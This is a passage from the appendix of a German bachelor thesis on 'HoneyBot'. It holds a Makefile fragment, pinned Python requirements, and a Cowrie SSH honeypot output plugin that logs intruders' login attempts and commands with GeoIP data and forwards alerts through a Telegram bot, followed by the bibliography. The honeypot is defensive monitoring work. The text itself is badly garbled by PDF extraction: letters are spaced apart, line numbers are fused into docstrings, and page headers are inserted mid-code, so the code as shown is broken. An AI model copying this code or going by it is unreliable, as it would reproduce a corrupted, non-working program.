10 t e s t −d $ ( venv ) || python3 −m venv −−prompt HoneyBot

$ ( venv )

11 . $ ( venv ) /bin/ a c t i v a t e ; pip i n s t a l l −−upgrade pip

12 . $ ( venv ) /bin/ a c t i v a t e ; pip i n s t a l l −−upgrade

−−requirement $ ( modules )

13 touch $ ( venv ) /bin/ a c t i v a t e

14

15 c lean :

16 rm −−f o r c e −−r e c u r s i v e $ ( venv )

17

18 f r e e z e : $ ( venv )

19 . $ ( venv ) /bin/ a c t i v a t e ; pip f r e e z e > $ ( modules )

20

21 l i n t : $ ( venv )

22 . $ ( venv ) /bin/ a c t i v a t e ; f l a k e 8 $ ( main )

$ ( cowrie_plugin )

23

24 run : $ ( venv )

25 . $ ( venv ) /bin/ a c t i v a t e ; $ ( venv ) /bin/python $ ( main )

C.4 requirements.txt

1 aiogram ==2.2

2 a i o h t t p ==3 .5 .4

3 appdirs ==1 .4 .3

4 asn1crypto ==0 .24 .0

5 async−t imeout ==3 .0 .1

6 a t t r s ==19 .1 .0

7 Automat ==0 .7 .0

8 Babel ==2 .7 .0

9 bcrypt ==3 .1 .6

10 c e r t i f i ==2019 .6 .16

11 c f f i ==1 .12 .3

12 chardet ==3 .0 .4

13 c o n f i g p a r s e r ==3 .7 .4

14 c o n s t a n t l y ==15 .1 .0

15 cryptography ==2.7

16 ent rypoin ts ==0.3

17 f l a k e 8 ==3 .7 .7

18 hyperl ink ==19 .0 .0

Page 76: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang C. HoneyBot 66

19 idna ==2.8

20 incremental ==17 .5 .0

21 mccabe ==0 .6 .1

22 m u l t i d i c t ==4 .5 .2

23 packaging ==19.0

24 pyasn1 ==0 .4 .5

25 pyasn1−modules ==0 .2 .5

26 pycodestyle ==2 .5 .0

27 pycparser ==2.19

28 pyf lakes ==2 .1 .1

29 pygeoip ==0 .3 .2

30 PyHamcrest ==1 .9 .0

31 pyOpenSSL ==19 .0 .0

32 pyparsing ==2 .4 .0

33 python−d a t e u t i l ==2 .8 .0

34 pytz ==2019.1

35 PyYAML==5 .1 .1

36 serv ice−i d e n t i t y ==18 .1 .0

37 s i x ==1 .12 .0

38 t f t p y ==0 .8 .0

39 Twisted ==19 .2 .1

40 y a r l ==1 .3 .0

41 zope . i n t e r f a c e ==4 .6 .0

C.5 cowrie_output_plugin/aiogram.py

1 """2 F i l e : a iogram . py3 Author : S a v e r i o W e l l e r4 Email : w e l l e r . s a v e r i o @ g m a i l . com5 G i t l a b : h t t p s : / / g i t l a b . com / s a v e r i o . w e l l e r6 D e s c r i p t i o n : Send out pu t m e s s a ge s v i a Te l egram Bot API

u t i l i z i n g t h e7 a synchr onous l i b r a r y AIOGram . Which m e s s ag e s

a r e s e n t i s b a s e d8 upon an r e g u l a r e x p r e s s i o n f i l t e r a g a i n s t t h e

e v e n t i d .9 Attempted l o g i n s and e x e c u t e d commands w i l l

a l s o be l o g g e d ( more10 c l e a n l y ) f o r a n a l y s i s .

Page 77: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang C. HoneyBot 67

11 R e q u i r e d p a c k a g e s : a iogram and p y g e o i p12 """13

14 import cowrie . core . output

15 import pygeoip

16 import re

17

18 from aiogram import Bot , Dispatcher , executor

19 from cowrie . core . conf ig import CowrieConfig

20

21

22 c l a s s Output ( cowrie . core . output . Output ) :

23 """24 I m p l e m e n t a t i o n o f Cowrie ’ s a b s t r a c t c l a s s t o s p e c i f y

f u r t h e r o u t p u t s .25 Mandatory methods a r e : s t a r t , s t o p and w r i t e26 """27

28 def s t a r t ( s e l f ) :

29 """30 I n i t i a l i z e t h e o u t put p l u g i n .31

32 F o l l o w i n g e n t r i e s must be g i v e n in c o w r i e . c f g :33 c m d _ f i l e ∗ : c o n t a i n s a l l e x e c u t e d commands34 g e o i p _ d a t a b a s e ∗ : f i l e t o l o o k up c o u n t r y and

c o o r d i n a t e s35 f i l t e r : r e g u l a r e x p r e s s i o n ; f i l t e r s l o g

b a s e d upon ’ e v e n t i d ’36 i d : Te l egram u s e r i d t o send t h e

m e s s ag e s t o37 l o g _ f i l e ∗ : c o n t a i n s a l l l o g i n a t t e m p t s38 t o k e n : Te l egram Bot API t o k e n39

40 (∗ = s u b j e c t t o be changed / removed )41 """42 s e l f . cmd_location =

CowrieConfig ( ) . get ( ’ output_aiogram ’ , ’ cmd_fi le ’ )

43 s e l f . database = CowrieConfig ( ) . get ( ’ output_aiogram ’ ,

’ geoip_database ’ )

44 s e l f . f i l t e r = CowrieConfig ( ) . get ( ’ output_aiogram ’ ,

’ f i l t e r ’ )

Page 78: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang C. HoneyBot 68

45 s e l f . id = CowrieConfig ( ) . get ( ’ output_aiogram ’ , ’ id ’ )

46 s e l f . l o g _ l o c a t i o n =

CowrieConfig ( ) . get ( ’ output_aiogram ’ , ’ l o g _ f i l e ’ )

47 s e l f . token = CowrieConfig ( ) . get ( ’ output_aiogram ’ ,

’ token ’ )

48

49 def stop ( s e l f ) :

50 """ Shut down o ut pu t p l u g i n . ( Mandatory method ) """51 pass52

53 def write ( s e l f , event ) :

54 """55 P r e p a r e t o send message and w r i t e t o l o g s .56

57 The l o g s c o n t a i n f o l l o w i n g TAB−s p a c e d i n f o r m a t i o n :58 command l o g : t imestamp , s r c _ i p , command59 l o g i n a t t e m p t l o g : t imestamp , s r c _ i p , c o u n t r y _ c o d e ,

country_name ,60 l a t i t u d e , l o n g i t u d e , username

and password61 """62 record = pygeoip . GeoIP (

63 s e l f . database ,

64 f l a g s =pygeoip . const .MMAP_CACHE

65 ) . record_by_addr ( event [ ’ s r c _ i p ’ ] )

66

67 i f " cowrie . log in " in event [ " eventid " ] :

68 l o g _ f i l e = open ( s e l f . l o g _ l o c a t i o n , " a " )

69 l o g _ f i l e . wri te (

70 f " { event [ ’ timestamp ’ ] } \ t "

71 f " { event [ ’ s r c _ i p ’ ] } \ t "

72 f " { record [ ’ country_code ’ ] } /

{ record [ ’ country_name ’ ] } \ t "

73 f " { record [ ’ l a t i t u d e ’ ] } \ t "

74 f " { record [ ’ longi tude ’ ] } \ t "

75 f " { event [ ’ username ’ ] } \ t "

76 f " { event [ ’ password ’ ] } \ n"

77 )

78 l o g _ f i l e . c l o s e ( )

79

80 e l i f " cowrie . command . input " in event [ " eventid " ] :

Page 79: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Anhang C. HoneyBot 69

81 cmd_fi le = open ( s e l f . cmd_location , " a " )

82 cmd_fi le . wri te (

83 f " { event [ ’ timestamp ’ ] } \ t "

84 f " { event [ ’ s r c _ i p ’ ] } \ t "

85 f " { event [ ’ message ’ ] } \ n"

86 )

87 cmd_fi le . c l o s e ( )

88

89 i f re . match ( s e l f . f i l t e r , event [ " eventid " ] ) :

90 bot = Bot ( token= s e l f . token )

91 dispatcher = Dispatcher ( bot )

92

93 executor . s t a r t ( dispatcher ,

s e l f . send_message ( bot , event , record ) )

94

95 async def send_message ( s e l f , bot , event , record ) :

96 """97 ( s u b j e c t t o be changed )98

99 @param b o t : D e s c r i p t i o n100 @type b o t : a iogram . b o t . b o t . Bot101

102 @param e v e n t : D e s c r i p t i o n103 @type e v e n t : Cowrie e v e n t104

105 """106 await bot . send_message (

107 s e l f . id ,

108 f " { event [ ’ s r c _ i p ’ ] } "

109 f " ( { record [ ’ country_code ’ ] } /

{ record [ ’ country_name ’ ] } ) \n"

110 f " { event [ ’ message ’ ] } "

111 )

Page 80: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

70

Literatur

[1] Frankfurt University of Applied Sciences. Ehrenwörtliche Erklä-rung. [Online; Stand 20. Juli 2019]. 2017. URL: https : / / www .

frankfurt - university . de / fileadmin / standard / Hochschule /

Fachbereich_3/Mein_Studium/Formulare_und_Dokumente/ALL_017_

Eidesstattliche_Erklaerung_bilingual_171107.pdf.[2] Michel Oosterhof. Cowrie SSH and Telnet Honeypot. [Online; Stand 20.

Juli 2019]. 2018. URL: https://www.cowrie.org/.[3] Wikipedia. Raspberry Pi — Wikipedia, Die freie Enzyklopädie. [Online;

Stand 20. Juli 2019]. 2019. URL: https://de.wikipedia.org/w/index.php?title=Raspberry_Pi&oldid=190518760.

[4] Alternate. Raspberry Pi Foundation Raspberry Pi 3 model B, Mainboard.[Online; Stand 20. Juli 2019]. 2019. URL: https://www.alternate.de/Raspberry-Pi-Foundation/Raspberry-Pi-3-model-B-Mainboard/

html/product/1258983.[5] Wikipedia. Chatbot — Wikipedia, Die freie Enzyklopädie. [Online; Stand

20. Juli 2019]. 2019. URL: https://de.wikipedia.org/w/index.php?title=Chatbot&oldid=186525570.

[6] Wikipedia. Denial of Service — Wikipedia, Die freie Enzyklopädie. [Online;Stand 21. Juli 2019]. 2019. URL: https://de.wikipedia.org/w/index.php?title=Denial_of_Service&oldid=190609485.

[7] Telegram. Telegram F.A.Q. [Online; Stand 20. Juli 2019]. 2019. URL:https://telegram.org/faq/de.

[8] Telegram. Bot Code Examples. [Online; Stand 28. Juli 2019]. 2019. URL:https://core.telegram.org/bots/samples.

[9] AIOGram. GitHub - aiogram/aiogram. [Online; Stand 28. Juli 2019]. 2019.URL: https://github.com/aiogram/aiogram.

[10] Arch Linux ARM. Raspberry Pi 3 | Arch Linux ARM. [Online; Stand 25.Juli 2019]. 2019. URL: https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-3.

Page 81: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Literatur 71

[11] Vesselin Bontchev. Bad actors are using the ’richard’ account to fingerprintthe honeypot · Issue #1102 · cowrie/cowrie · GitHub. [Online; Stand 05. Au-gust 2019]. 2019. URL: https://www.cowrie.org/.

[12] Robert David Graham. GitHub - robertdavidgraham/masscan. [Onli-ne; Stand 26. August 2019]. 2019. URL: https : / / github . com /

robertdavidgraham/masscan.


Recommended